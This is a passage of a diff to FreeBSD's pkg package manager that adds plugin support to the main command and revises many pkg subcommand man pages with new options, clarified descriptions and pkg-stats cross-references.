	while ((ch = getopt(argc, argv, "dj:c:vq")) != -1) {
-
		switch(ch) {
-
			case 'd':
-
				debug++;
-
				break;
-
			case 'c':
-
				chroot_path = optarg;
-
				break;
-
			case 'j':
-
				jail_str = optarg;
-
				break;
-
			case 'v':
-
				version++;
-
				break;
-
			default:
-
				break;
+
		switch (ch) {
+
		case 'd':
+
			debug++;
+
			break;
+
		case 'c':
+
			chroot_path = optarg;
+
			break;
+
		case 'j':
+
			jail_str = optarg;
+
			break;
+
		case 'v':
+
			version++;
+
			break;
+
		default:
+
			break;
		}
	}
	argc -= optind;
@@ -204,7 +225,7 @@ main(int argc, char **argv)

	if (version == 1) {
		printf(PKGVERSION""GITHASH"\n");
-
		exit(EXIT_SUCCESS);
+
		exit(EX_OK);
	}
	if (argc == 0 && version == 0)
		usage();
@@ -217,13 +238,13 @@ main(int argc, char **argv)
	optind = 1;

	if (jail_str != NULL && chroot_path != NULL) {
-
		fprintf(stderr, "-j and -c cannot be used at the same time\n");
+
		fprintf(stderr, "-j and -c cannot be used at the same time!\n");
		usage();
	}

	if (chroot_path != NULL)
		if (chroot(chroot_path) == -1)
-
			errx(EX_SOFTWARE, "chroot failed");
+
			errx(EX_SOFTWARE, "chroot failed!");

	if (jail_str != NULL) {
		jid = jail_getid(jail_str);
@@ -239,7 +260,18 @@ main(int argc, char **argv)
			errx(EX_SOFTWARE, "chdir() failed");

	if (pkg_init(NULL) != EPKG_OK)
-
		errx(EX_SOFTWARE, "can not parse configuration file");
+
		errx(EX_SOFTWARE, "Cannot parse configuration file!");
+

+
	pkg_config_bool(PKG_CONFIG_ENABLE_PLUGINS, &plugins_enabled);
+

+
	if (plugins_enabled) {
+
		if (pkg_plugins_init() != EPKG_OK)
+
			errx(EX_SOFTWARE, "Plugins cannot be loaded");
+

+
		pkg_config_bool(PKG_CONFIG_PLUGINS_SUMMARY, &plugins_summary);
+
		if (plugins_summary)
+
			pkg_plugins_display_loaded();
+
	}

	if (version > 1) {
		printf("version: "PKGVERSION""GITHASH"\n");
@@ -279,7 +311,8 @@ main(int argc, char **argv)
			printf("Repository: %s\n", buf ? buf : "none");
		}
		pkg_shutdown();
-
		exit(EXIT_SUCCESS);
+
		pkg_plugins_shutdown();
+
		exit(EX_OK);
	}

	len = strlen(argv[0]);
@@ -303,8 +336,15 @@ main(int argc, char **argv)
	}

	if (command == NULL) {
+
		/* Check if a plugin provides the requested command */
+
		if (plugins_enabled)
+
			ret = pkg_plugins_cmd_run(argv[0], argc, argv);
+
		
		pkg_shutdown();
-
		usage();
+
		pkg_plugins_shutdown();
+
		if (ret != EPKG_OK)
+
			usage();
+
		
		return (ret); /* Not reached but makes scanbuild happy */
	}

@@ -323,6 +363,8 @@ main(int argc, char **argv)
	}

	pkg_shutdown();
+
	pkg_plugins_shutdown();
+
	
	return (ret);
}

modified pkg/pkg-add.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd February 16, 2012
+
.Dd June 12, 2012
.Dt PKG-ADD 8
.Os
.Sh NAME
@@ -25,7 +25,7 @@
.Nm
.Ar <pkg-name>
.Nm
-
.Ar <url>://<pkg-name>
+
.Ar <protocol>://<path>/<pkg-name>
.Sh DESCRIPTION
.Nm
installs a package from either a local source or a remote one.
@@ -34,11 +34,6 @@ When installing from a remote source you need to specify
the protocol to use when fetching the package.
.Pp
Currently supported protocols are FTP, HTTP and HTTPS.
-
.Sh OPTIONS
-
The following options are supported by
-
.Nm :
-
.Bl -tag -width F1
-
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
.Nm .
@@ -54,7 +49,6 @@ for further description.
See
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8 ,
.Xr pkg 8 ,
.Xr pkg-audit 8 ,
.Xr pkg-autoremove 8 ,
@@ -74,6 +68,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-audit.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd April 12, 2012
+
.Dd June 12, 2012
.Dt PKG-AUDIT 8
.Os
.Sh NAME
@@ -23,7 +23,7 @@
.Nd Audits installed packages against known vulnerabilities.
.Sh SYNOPSIS
.Nm
-
.Op Fl F
+
.Op Fl Fq
.Ar <pkg-name>
.Sh DESCRIPTION
.Nm
@@ -38,6 +38,12 @@ to check if security advisories for any installed packages exist.
Note that a current ports tree (or any local copy of the ports tree) is not
required for operation.
.Pp
+
The URL that is used to fetch the database can be overridden via the PORTAUDIT_SITE
+
config variable.
+
See
+
.Xr pkg.conf 5
+
for more information.
+
.Pp
If you have a vulnerable package installed, you are advised to update or
deinstall it immediately.
.Pp
@@ -50,6 +56,10 @@ The following options are supported by
.Bl -tag -width F1
.It Fl F
Fetch the database before checking.
+
.It Fl q
+
Be ``quiet''.
+
Prints only the requested information without
+
displaying many hints.
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -59,12 +69,12 @@ See
for further description.
.Bl -tag -width ".Ev NO_DESCRIPTIONS"
.It PKG_DBDIR
+
.It PORTAUDIT_SITE
.El
.Sh FILES
See
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8 ,
.Xr pkg 8 ,
.Xr pkg-add 8 ,
.Xr pkg-autoremove 8 ,
@@ -84,6 +94,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-autoremove.8
@@ -27,7 +27,7 @@
.Sh DESCRIPTION
.Nm
is used for removing orphan packages, which were installed
-
during a dependencies resolving and are no longer needed.
+
during dependency resolution and are no longer needed.
.Sh OPTIONS
The following options are supported by
.Nm :
@@ -71,6 +71,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-backup.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd February 16, 2012
+
.Dd June 12, 2012
.Dt PKG-BACKUP 8
.Os
.Sh NAME
@@ -23,11 +23,11 @@
.Nd backup and restore the local package database
.Sh SYNOPSIS
.Nm
-
.Op Fl d
-
.Ar <file>
+
.Fl d
+
.Ar <dest_file>
.Nm
-
.Op Fl r
-
.Ar <file>
+
.Fl r
+
.Ar <src_file>
.Sh DESCRIPTION
.Nm
is used for backing up and restoring of the local package database.
@@ -35,14 +35,14 @@ is used for backing up and restoring of the local package database.
The following options are supported by
.Nm :
.Bl -tag -width F1
-
.It Fl d Ar <file>
+
.It Fl d Ar <dest_file>
Dumps the local package database to a file specified on the command-line.
If
.Ar -
is specified as the argument
.Nm
-
will use stdout for it's output.
-
.It Fl r Ar <file>
+
will use stdout for its output.
+
.It Fl r Ar <src_file>
Uses
.Ar file
in order to restore the local package database.
@@ -81,6 +81,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-check.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd May 30, 2012
+
.Dd July 9, 2012
.Dt PKG-CHECK 8
.Os
.Sh NAME
@@ -23,11 +23,18 @@
.Nd sanity checks installed packages
.Sh SYNOPSIS
.Nm
-
.Op Fl dsr
+
.Op Fl Bdsr
.Op Fl vy
.Op Fl a | gxX Ar <pattern>
.Sh DESCRIPTION
.Nm
+
.Fl B
+
is used to reanalyse SHLIBS of installed packages.
+
See
+
.Xr pkg.conf 5
+
for more information on SHLIBS.
+
.Pp
+
.Nm
.Fl d
is used to check for and install missing dependencies.
.Pp
@@ -74,7 +81,6 @@ for further description.
See
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8 ,
.Xr pkg 8 ,
.Xr pkg-add 8 ,
.Xr pkg-audit 8 ,
@@ -94,6 +100,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-clean.8
@@ -23,10 +23,35 @@
.Nd Cleans the local cache of fetched remote packages.
.Sh SYNOPSIS
.Nm
+
.Op Fl nqy
.Sh DESCRIPTION
.Nm
-
is used to cleanup the local cache of remote packages.
-
It will remove packages that are out-of-date, as well as packages that are no longer provided.
+
is used to cleanup the local cache of packages downloaded from remote
+
repositories.
+
It removes packages that have been superseded by newer versions, and
+
any packages that are no longer provided.
+
.Sh OPTIONS
+
The following options are supported by
+
.Nm :
+
.Bl -tag -width F1
+
.It Fl n
+
Dry-run: do not delete any package files from the cache, but show what
+
would be done instead.
+
Forces the preview of the packages that would be deleted to be shown,
+
even when used with
+
.Fl y .
+
Note: the package cache file permissions only permit root access.
+
Results will be disappointing for any other user.
+
.It Fl q
+
Be quiet.
+
Suppress most output.
+
All output is suppressed if
+
.Fl y
+
is also used.
+
.It Fl y
+
Assume a yes answer instead of asking for confirmation before deleting
+
any out-of-date or redundant packages from the cache.
+
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
.Nm .
@@ -34,6 +59,7 @@ See
.Xr pkg.conf 5
for further description.
.Bl -tag -width ".Ev NO_DESCRIPTIONS"
+
.It ASSUME_ALWAYS_YES
.It PKG_DBDIR
.It PKG_CONFIG_CACHEDIR
.El
@@ -60,6 +86,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-create.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd May 2, 2012
+
.Dd July 10, 2012
.Dt PKG-CREATE 8
.Os
.\" ---------------------------------------------------------------------------
@@ -25,59 +25,92 @@
.\" ---------------------------------------------------------------------------
.Sh SYNOPSIS
.Nm
-
.Op Fl gxXn
+
.Op Fl n
+
.Op Fl f Ar format
+
.Op Fl o Ar outdir
+
.Op Fl p Ar plist
.Op Fl r Ar rootdir
-
.Op Fl m Ar manifest
+
.Fl m Ar manifestdir
+
.Nm
+
.Op Fl gnxX
.Op Fl f Ar format
.Op Fl o Ar outdir
+
.Op Fl r Ar rootdir
.Ar pkg-name ...
.Nm
-
.Fl an
-
.Op Fl r Ar rootdir
-
.Op Fl m Ar manifest
+
.Op Fl n
.Op Fl f Ar format
.Op Fl o Ar outdir
+
.Op Fl r Ar rootdir
+
.Fl a
.\" ---------------------------------------------------------------------------
.Sh DESCRIPTION
.Nm
-
is used to create packages from binaries installed on your computer.
-
Packages thus created can be distributed and subsequently installed on other machines
-
using the
+
is used to create packages from binaries or other files installed on
+
your computer.
+
Package tarballs can created from the files of a previously installed
+
package using metadata from the local package database.
+
Any number of packages may be created in one invocation of this style.
+
.Pp
+
Alternatively, a single package can be created from an arbitrary
+
selection of files on your system, but this requires a
+
.Ar manifestdir
+
and optionally
+
.Ar plist
+
to be supplied.
+
The package name will be derived from the
+
.Fa +MANIFEST
+
file which must be contained within the
+
.Ar manifestdir .
+
.Pp
+
Packages thus created can be distributed and subsequently installed on
+
other machines using the
.Cm pkg add
command.
.\" ---------------------------------------------------------------------------
.Sh OPTIONS
The following options are supported by
.Nm :
-
.Bl -tag -width ".Fl m Ar manifest"
+
.Bl -tag -width ".Fl m Ar manifestdir"
.It Fl a
-
Create packages for all binaries installed on your system.
-
You can't use this option along with the
-
.Fl g , x
+
Create package tarballs from all packages installed on your system.
+
This option is incompatible with the
+
.Fl g , x , X
or
-
.Fl X
-
option.
+
.Fl m Ar manifestdir
+
options.
.It Fl g
Interpret
.Ar pkg-name
as a shell glob pattern and create package only for installed binaries whose
name match this pattern.
+
This option is incompatible with the
+
.Fl a , x , X
+
or
+
.Fl m Ar manifestdir
+
options.
.It Fl x
Like
.Fl g ,
but interpret
.Ar pkg-name
as a regular expression.
+
This option is incompatible with the
+
.Fl a, g , X
+
or
+
.Fl m Ar manifestdir
+
options.
.It Fl X
Like
.Fl g ,
but interpret
.Ar pkg-name
as an extended regular expression.
-
.It Fl r Ar rootdir
-
Specify root directory for the package \" TODO: New description
-
.It Fl m Ar manifest
-
Specify manifest directory \" TODO: New description
+
This option is incompatible with the
+
.Fl a, g , x
+
or
+
.Fl m Ar manifestdir
+
options.
.It Fl f Ar format
Set
.Ar format
@@ -90,14 +123,65 @@ which are currently the only supported format.
If an invalid or no format is specified
.Ar txz
is assumed.
+
.It Fl m Ar manifestdir
+
Specify the directory containing the package manifest,
+
.Fa +MANIFEST
+
and optionally two other files; one containing a message to be
+
displayed on package installation,
+
.Fa +DISPLAY
+
and the other containing an mtree specification,
+
.Fa +MTREE_DIRS ,
+
for the directory tree the package will use.
+
See
+
.Xr mtree 5
+
for the format of the mtree file.
+
If specified, only a single package will be created.
+
Neither
+
.Fa +DISPLAY
+
nor
+
.Fa +MTREE_DIRS
+
are required; the
+
.Fa +MANIFEST
+
file can contain all the required information needed to build a
+
package.
+
This option is incompatible with the
+
.Fl a, g , x
+
or
+
.Fl X
+
options.
+
.It Fl n
+
Do not overwrite already existing packages
.It Fl o Ar outdir
Set
.Ar outdir
as the output directory.
If this option is not given, all created packages will
be saved in the current directory.
-
.It Fl n
-
Do not overwrite already existing packages
+
.It Fl p Ar plist
+
Specify some package metadata using the legacy plist format from
+
.Xr pkg_add 1 ,
+
commonly found in
+
.Fa pkg-plist
+
files in the ports tree.
+
Metadata from the
+
.Ar plist
+
file, if specified, will take precedence over any equivalents from
+
the
+
.Ar manifestdir .
+
Only has any effect when used with
+
.Ar manifestdir .
+
.It Fl r Ar rootdir
+
.Ar rootdir
+
specifies the top-level directory to be treated as the root of the
+
filesystem hierarchy containing the package files.
+
File paths in generated packages will be relative to
+
.Ar rootdir .
+
This allows a package to be generated from content offset from its
+
intended final location, which allows a package building without
+
disturbing similar content already on the system.
+
If unspecified, the default is effectively
+
.Fa / ,
+
the actual root directory.
.El
.\" ---------------------------------------------------------------------------
.Sh MANIFEST FILE DETAILS
@@ -188,17 +272,16 @@ for further description.
.It Ev PORTSDIR
.El
.\" ---------------------------------------------------------------------------
+
.Sh FILES
+
See
+
.Xr pkg.conf 5 .
+
.\" ---------------------------------------------------------------------------
.Sh EXAMPLES
Create package files for installed packages:
.Dl % pkg create -a -o /usr/ports/packages/All
.Pp
Create package file for pkg:
.Dl % pkg create -o /usr/ports/packages/All pkg
-
.Pp
-
.\" ---------------------------------------------------------------------------
-
.Sh FILES
-
See
-
.Xr pkg.conf 5 .
.\" ---------------------------------------------------------------------------
.Sh SEE ALSO
.Xr pkg 8 ,
@@ -220,6 +303,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-delete.8
@@ -20,35 +20,63 @@
.Os
.Sh NAME
.Nm "pkg delete"
-
.Nd deletes a package from the database and the system
+
.Nd deletes packages from the database and the system
.Sh SYNOPSIS
.Nm
-
.Op Fl ay
+
.Op Fl fgnqRXxy
+
.Ar <pkg-name> ...
.Nm
-
.Op Fl yqfgxX
-
.Ar <pkg-name> <...>
+
.Op Fl nqy
+
.Fl a
.Sh DESCRIPTION
.Nm
-
is used for deleting previously installed packages and removes them from the
-
database.
+
is used for deleting installed packages from the system.
+
.Nm
+
creates a work-list of all the installed packages matching the package
+
names on the command line.
+
The list is presented to the user.
+
If the user confirms that they do want to remove those packages, or
+
if the
+
.Cm ASSUME_ALWAYS_YES
+
configuration option is set,
+
.Nm
+
proceeds to remove the listed packages.
+
.Pp
+
If the set of packages to be deleted would leave installed packages
+
with unfulfilled dependencies,
+
.Nm
+
will emit an error message and quit without deleting anything unless
+
forced to proceed by the
+
.Fl f
+
option.
.Sh OPTIONS
The following options are supported by
.Nm :
.Bl -tag -width F1
-
.It Fl f
-
Forces packages to be removed.
.It Fl a
-
Deletes all installed packages from the system and the database.
-
.It Fl y
-
Assume yes when asked for confirmation before package deletion.
+
Deletes all installed packages from the system and empties the database.
+
.It Fl f
+
Forces packages to be removed despite leaving unresolved dependencies.
.It Fl g
Treat the package names as shell glob patterns.
-
.It Fl x
-
Treat the package names as regular expressions.
+
.It Fl n
+
Dry run mode.
+
The list of packages to delete is always printed, but no packages are
+
actually deleted.
+
.It Fl q
+
Force quiet output, except where
+
.Fl n
+
is also used, when
+
.Nm
+
will show the list of packages to be deleted.
+
.It Fl R
+
Delete all packages that require the listed packages as well.
.It Fl X
Treat the package names as extended regular expressions.
-
.It Fl q
-
Force quiet output
+
.It Fl x
+
Treat the package names as regular expressions.
+
.It Fl y
+
Assume yes when asked for confirmation before package deletion.
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -84,6 +112,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-fetch.8
@@ -33,7 +33,7 @@ is used to download binary packages from a remote repository.
.Pp
One or more packages, or patterns can be specified.
.Pp
-
The remote repository will automatically be updated using
+
Repository catalogues will be updated automatically using
.Xr pkg-update 8 .
This can be disabled with the
.Fl L
@@ -68,11 +68,11 @@ Treat
.Ar <pkg-name>
as an extended regular expression.
.It Fl L
-
Don't auto update the remote database with
+
Skip updating the repository catalogues with
.Xr pkg-update 8 .
Use the local cache only.
.It Fl d
-
Fetch the package and it's dependencies as well.
+
Fetch the package and its dependencies as well.
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -87,7 +87,6 @@ for further description.
See
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8 ,
.Xr pkg 8 ,
.Xr pkg-add 8 ,
.Xr pkg-audit 8 ,
@@ -107,6 +106,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-info.8
@@ -27,10 +27,10 @@
.Nm
.Fl a
.Nm
-
.Op Fl eDgxXEdrlsqopOfRF
+
.Op Fl BDdefgIlOqRrsXx
.Ar <pkg-name>
.Nm
-
.Op Fl drlsq
+
.Op Fl BDdfIlqRrs
.Fl F Ar <pkg-file>
.Sh DESCRIPTION
.Nm
@@ -118,7 +118,6 @@ for further description.
See
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8 ,
.Xr pkg 8 ,
.Xr pkg-add 8 ,
.Xr pkg-audit 8 ,
@@ -138,6 +137,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-install.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd May 16, 2012
+
.Dd July 26, 2012
.Dt PKG-INSTALL 8
.Os
.Sh NAME
@@ -23,63 +23,128 @@
.Nd installs packages from remote package repositories
.Sh SYNOPSIS
.Nm
+
.Op Fl AfgLnqRXxy
.Op Fl r Ar reponame
-
.Op Fl yqfgxXL
-
.Ar <pkg-origin> <...>
+
.Ar <pkg-origin> ...
.Sh DESCRIPTION
.Nm
is used for installation of packages from a remote package
-
repository database.
-
It can install multiple packages
-
specified on the command-line from multiple repositories.
+
repository.
+
Multiple package names can be specified on the command line, either
+
explicitly or by matching against package names in the repository
+
catalogues using shell globbing; standard- or extended regular
+
expressions.
.Pp
-
If a package is found to exists in more than one package
-
repository the first matching repository is the one that the
-
package will be first tried to be fetched from.
+
.Nm
+
creates a work-list of all the package installations to do.
+
Any already installed and up to date packages will be dropped from the
+
list unless the
+
.Fl f
+
(force) option is supplied, in which case those packages will be
+
reinstalled.
+
The dependencies of packages in the list are examined and any missing
+
packages are added to the list for installation.
+
Such implicitly added packages are flagged as candidates for
+
autoremoval.
+
See
+
.Xr pkg-autoremove 8
+
for details.
+
Any already installed but out of date packages, either named on the
+
command line or from the sum of all their dependencies are added to
+
the work list as upgrade jobs.
+
The work list is sorted into dependency order and
+
.Nm
+
will present it to the user for approval before proceeding, unless
+
overridden by the
+
.Fl y
+
option or the
+
.Cm ASSUME_ALWAYS_YES
+
setting in
+
.Fa pkg.conf .
.Pp
-
If fetching from the repository fails for some reason the next
-
repository, which the package is found to exist is the one that is
-
tried until the package is fetched, or all repositories are tried.
+
Autoremoval flags are sticky, and will persist over reinstallation or
+
upgrade of the packages concerned, even if subsequently the packages
+
are named explicitly on a command line.
+
See
+
.Xr pkg-query 8
+
for finding the autoremoval status of a package, and
+
.Xr pkg-set 8
+
for modifying it.
.Pp
-
Multiple package repositories is activated only when the environment
-
variable
+
Currently
+
.Nm
+
will only use one repository to install packages from.
+
When
.Ev PACKAGESITE
-
is not defined.
+
is set in the environment, or the equivalent
+
.Cm PACKAGESITE
+
setting is present in
+
.Fa pkg.conf
+
only that site will be used.
.Pp
-
If
-
.Ev PACKAGESITE
-
is defined then only the repository to which it
-
points is the one that is used during the package installations.
+
Alternatively, when in multi-repo mode, the
+
.Fl r
+
option may be used to select one of the package repositories listed
+
in the configuration file.
+
Otherwise the default repository will be used.
.Pp
-
It is always good to update your package repositories first before
-
doing a remote installation using
-
.Nm
+
Multiple package repository support is only activated when neither the
+
environment variable
+
.Ev PACKAGESITE
+
nor the equivalent
+
.Cm PACKAGESITE
+
configuration setting are defined.
.Pp
-
The remote repository will automatically be updated using
-
.Xr pkg-update 8 .
-
This can be disabled with the
+
Package repository catalogues will be automatically updated whenever
+
.Xr pkg-update 8
+
is run, unless disabled by the
.Fl L
flag.
+
Updating repository catalogues is highly recommended before doing any
+
package installation with
+
.Nm .
.Sh OPTIONS
The following options are supported by
.Nm :
.Bl -tag -width F1
-
.It Fl y
-
Assume yes when asked for confirmation before package installation.
-
.It Fl g
-
Treat the package names as shell glob patterns.
-
.It Fl x
-
Treat the package names as regular expressions.
-
.It Fl X
-
Treat the package names as extended regular expressions.
+
.It Fl A
+
Mark the installed packages as orphan.
+
Will be automatically removed if no other packages depend on them.
+
For more information please refer to
+
.Xr pkg-autoremove 8
.It Fl f
Force the reinstallation of the package if already installed.
-
.It Fl q
-
Force quiet output.
+
.It Fl g
+
Treat the package names as shell glob patterns.
.It Fl L
-
Don't auto update the remote database with
+
Skip updating the repository catalogues with
.Xr pkg-update 8 .
-
Use the local cache only.
+
Use the locally cached copies only.
+
.It Fl n
+
Dry-run mode.
+
The list of changes to packages is always printed, but
+
no changes are actually made.
+
.It Fl q
+
Force quiet output, except when
+
.Fl n
+
is used, where
+
.Nm
+
will always show packages to be installed, upgraded or deleted.
+
.It Fl R
+
When used with
+
.Fl f ,
+
reinstalls any packages that require the given package.
+
.It Fl r Ar reponame
+
In multi-repo mode, override the
+
.Fa pkg.conf
+
ordering and only attempt to download packages from the named
+
repository.
+
.It Fl X
+
Treat the package names as extended regular expressions.
+
.It Fl x
+
Treat the package names as regular expressions.
+
.It Fl y
+
Assume yes when asked for confirmation before package installation.
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -115,9 +180,10 @@ See
.Xr pkg-repo 8 ,
.Xr pkg-rquery 8 ,
.Xr pkg-search 8 ,
-
.Xr pkg-set 8,
+
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-query.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd April 25, 2012
+
.Dd July 18, 2012
.Dt PKG-QUERY 8
.Os
.Sh NAME
@@ -122,6 +122,30 @@ for groups
.It Cm B
for shared libraries
.El
+
.It Cm \&%# Ns Op drCFODLUGB
+
Returns the number of element in the list
+
.Bl -tag -width indent
+
.It Cm d
+
for dependencies
+
.It Cm r
+
for reverse dependencies
+
.It Cm C
+
for categories
+
.It Cm F
+
for files
+
.It Cm O
+
for options
+
.It Cm D
+
for directories
+
.It Cm L
+
for licenses
+
.It Cm U
+
for users
+
.It Cm G
+
for groups
+
.It Cm B
+
for shared libraries
+
.El
.El
.Ss Multiline patterns:
.Bl -tag -width F1
@@ -163,12 +187,22 @@ Expands to the list of license(s) for the matched package.
Expands to the list of users needed by the matched package.
.It Cm \&%G
Expands to the list of groups needed by the matched package.
-
.It Cm \&%S
-
Expands to the list of scripts for the matching packages - install, deinstall, etc.
.It Cm \&%B
Expands to the list of shared libraries used by programs from the matched package.
.El
.Sh EVALUATION FORMAT
+
Packages can be selected by using expressions comparing
+
.Ar Variables
+
(see below) to string or integer values. The mode of comparison is specified
+
by the
+
.Ar Operator
+
(also listed below).
+
Expressions can be combined using && (for and) and || (for or).
+
Parentheses can be used for grouping in the usual manner.
+
.Pp
+
String values are either any text not containing whitespace (possibly
+
followed by but not including whitespace) or any text enclosed in single or
+
double quotes.
.Ss Variables
.Bl -tag -width F1
.It Cm \&%n
@@ -193,6 +227,11 @@ Message of the package (type string)
Timestamp that the package was installed (type integer)
.It Cm \&%i
Additionnal information about the package (type string)
+
.It Cm \&%# Ns Op drCFODLUGB
+
Number of elements in the list of information (type integer).
+
See
+
.Cm %?
+
above for what information is used.
.El
.Ss Operators
.Bl -tag -width F1
@@ -203,7 +242,9 @@ Integer comparison
.It Cm < Ns Op =
Integer comparison
.It Cm = Ns Op =
-
Integer or string comparison
+
Integer or string equality comparison
+
.It Cm !=
+
Integer or string inequality comparison
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -237,6 +278,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-register.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd February 16, 2012
+
.Dd June 14, 2012
.Dt PKG-REGISTER 8
.Os
.Sh NAME
@@ -26,7 +26,6 @@
.Op Fl ld
.Fl f Ar <plist-file>
.Fl m Ar <metadatadir>
-
.Fl a Ar <arch>
.Fl i Ar <input-path>
.Sh DESCRIPTION
.Nm
@@ -48,10 +47,6 @@ For more information please refer to
Specifies the packing list file
.It Fl m Ar <metadatadir>
Specifies the meta data directory to use when registering the package
-
.It Fl a Ar <arch>
-
Specifies the package arch.
-
If this option is not set then the arch will
-
be automatically detected upon package registration.
.It Fl i Ar <input-path>
Specifies the package input path.
.Pp
@@ -89,6 +84,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-repo.8
@@ -20,36 +20,55 @@
.Os
.Sh NAME
.Nm "pkg repo"
-
.Nd creates a package database repository
+
.Nd creates a package repository catalogue
.Sh SYNOPSIS
.Nm
+
.Op Fl fq
.Ao Ar repo-path Ac Op Ar rsa-key
.Sh DESCRIPTION
.Nm
-
is used for creating package repositories of already
-
available packages.
+
is used for creating a catalogue of the available
+
packages in a repository.
.Nm
-
is useful for creating a package repository database,
-
and then sharing it with other people.
+
catalogues are necessary for sharing your package repository with
+
other people.
.Pp
When
.Nm
-
is invoked it will create a package database file (repo.sqlite)
-
which then can be used for remote package installations
-
from
+
is invoked it creates a package repository catalogue (repo.sqlite),
+
with an optional cryptographic signature, as a compressed tarball
+
(repo.txz).
+
Repository users download and cache this on their local machines,
+
for fast lookup of available packages by programs such as
.Xr pkg-install 8 .
.Pp
-
When you want to create a package database repository you need to
-
specify at least the directory which contains packages in
+
To create a package repository catalogue you must specify the
+
top-level directory where all the packages are stored as
.Ar repo-path .
+
.Nm
+
will search the filesystem beneath
+
.Ar repo-path
+
to find all the packages it contains.
+
Symbolic links are ignored, and only the most recent package for each
+
origin is included in the catalogue.
+
If a catalogue already exists, it will be updated incrementally with
+
any changes to the package collection.
+
This is a significant time savings for large package repositories.
.Pp
-
To sign the repository, specify the path to an RSA private key for the
+
Optionally you may sign the repository catalogue by specifying the
+
path to an RSA private key as the
.Ar rsa-key
argument.
+
Signing the catalogue is strongly recommended.
.Sh OPTIONS
The following options are supported by
.Nm :
.Bl -tag -width F1
+
.It Fl q
+
Force quiet output
+
.It Fl f
+
Force a full rebuild of the package catalogue, discarding any previous
+
content
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -83,6 +102,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
